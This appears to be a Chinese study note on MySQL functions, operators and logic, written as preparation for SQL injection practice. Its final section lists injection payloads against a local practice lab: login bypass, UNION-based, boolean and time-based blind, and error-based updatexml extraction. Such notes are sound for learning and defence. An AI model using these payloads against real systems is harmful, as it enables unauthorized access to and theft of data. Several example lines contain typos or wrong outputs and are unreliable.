MySql常用函数及逻辑运算

01 常用的函数

MySql内置函数:
https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html

MySql注入常用函数

函数名称 函数功能
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() @@version 数据库版本
@@datadir 数据库路径
@@basedir 数据库安装路径
@@version_compile_os 操作系统
count() 返回执行结果数量
concat() 没有分隔符地连接字符串
concat_ws() 含有分隔符地连接字符串
group_concat() 连接一个组的所有字符串,并以逗号分隔每一条数据
load_file() 读取本地文件
into outfile 写文件
ascii() 字符串的ASCII代码值
ord() 返回字符串第一个字符的ASCII值
mid() 返回一个字符串的一部分
substr() 返回一个字符串的一部分
length() 返回字符串的长度

left() 返回字符串的最左面几个字符
floor() 返回小于或等于x的最大整数
rand() 返回0和1之间的一个随机数
extractvalue() 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
作用:从目标XML中返回包含所查询值的字符串
updatexml()
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符号条件的数据
作用:改变文档中符合条件的节点的值
sleep() 让此语句运行N秒钟
if() 
>  SELECT IF(1>2,2,3);
-> 3
char()
返回整数ASCII代码字符组成的字符串
STRCMP() 比较字符串内容
IFNULL() 假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2
exp() 返回e的x次方

运行
select system_user(); 
select user();
select current_user();
select session_user();

select show databases;
use security
select database();

select version();
select @@version;
select @@datadir;
select @@basedir;
select @@version_compile_os;
select count(*) from users;
select count(1) from users;

select concat(username,password) from users;
select concat_ws(',',username,password) from users;
select concat_ws(0x7e,username,password) from users;//~
select gruop_concat(username) from users;

select 'mysql' into outfile '/tmp/mysql';
select load_file('/tmp/mysql');

select ascii('a');
select ord('adkfjk'); // 字符串第一个字符的ascii
select mid('bdkfjk',1,1); // b 从第一位开始取第一个字符
select mid('bdkfjk',1,1); // bd
select substr('bdkfjk',1,2); //bd
select substr('bdkfjk',1,4); //bdkf

select length('dfdf'); // 4

select left('dfdfdf',2) // df
select floor(2.4); // 2
select floor(5.6); // 5

select rand(); // 0~1之间随机数

select sleep(2); 

select if(1<2,2,3);

char(97);

select strcmp('a','b'); // -1 对比两个值
select strcmp('a','a'); // 0

select ifnull(null,1);
select ifnull(2,1);

select exp(2); // 自然对数e 的几次方

XPath
http://www.w3school.com.cn/xpath/

MySql运算符

算术运算符:

  • + 加法运算
    • 减法运算
  • * 乘法运算
  • / 除法运算
  • % 求余运算
  • DIV 除法运算,同”/“
  • MOD 求余运算,同”%“

比较运算符:

  • > 大于
  • < 小于
  • = 等于
  • >= 大于等于
  • <= 小于等于
  • != 或 <> 不等于
  • IS NULL 为空
  • IS NOT NULL 不为空
  • BETWEEN AND 在..之间
  • IN 包含
  • NOT IN 不包含
  • LIKE 模式匹配
  • NOT LIKE 模式匹配
  • REGEXP 正则表达式

逻辑运算符:

  • && 或 AND 与
  • || 或 OR 或
  • ! 或 NOT 非
  • XOR 异或

select 1+2;

select id,username from users where id between 1 and 4;

select id,username from users where username in ('admin','tesdt');

select id,username from users where username not in ('admin','tesdt');

select id,username from users where username like 'admin';

select id,username from users where username like '%ad%';

select user() regexp 'root';

    

02 逻辑运算

逻辑运算符: AND <–> OR

select * from users where id=1; // true
select * from users where id=1 and 1=1; // true
select * from users where id=1 and 1=2; // false 返回 empty

select * from users where id=1 or 1=2; // true 

登录处的SQL语句:
select * from users where username='admin' and pwd='pass';
'or '1' = '1
select * from users where username=''or '1'='1' and pwd=''or '1' = '1';

and 1=2 union select 1,2,3-- // 1=2 false 执行union后面的语句
select user() regexp '^ro' // ro开头的用户
ascii(substr(select user()),1,1)=114 // 用户名为r的用户
if(ascii(substr((select user(),1,1))=114,0,sleep(5))) // 如果用户名第一个字母是r就返回0,否则睡5秒
(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=9) 
updatexml(1,concat(0x7e,(select @@version),0x7e),1) // 报错信息打印版本

http://127.0.0.1/Less-1/?id=1 and 1=2 union select 1,2,3--+
http://127.0.0.1/Less-1/?id=1 and 1=2 union select 1,user(),3--+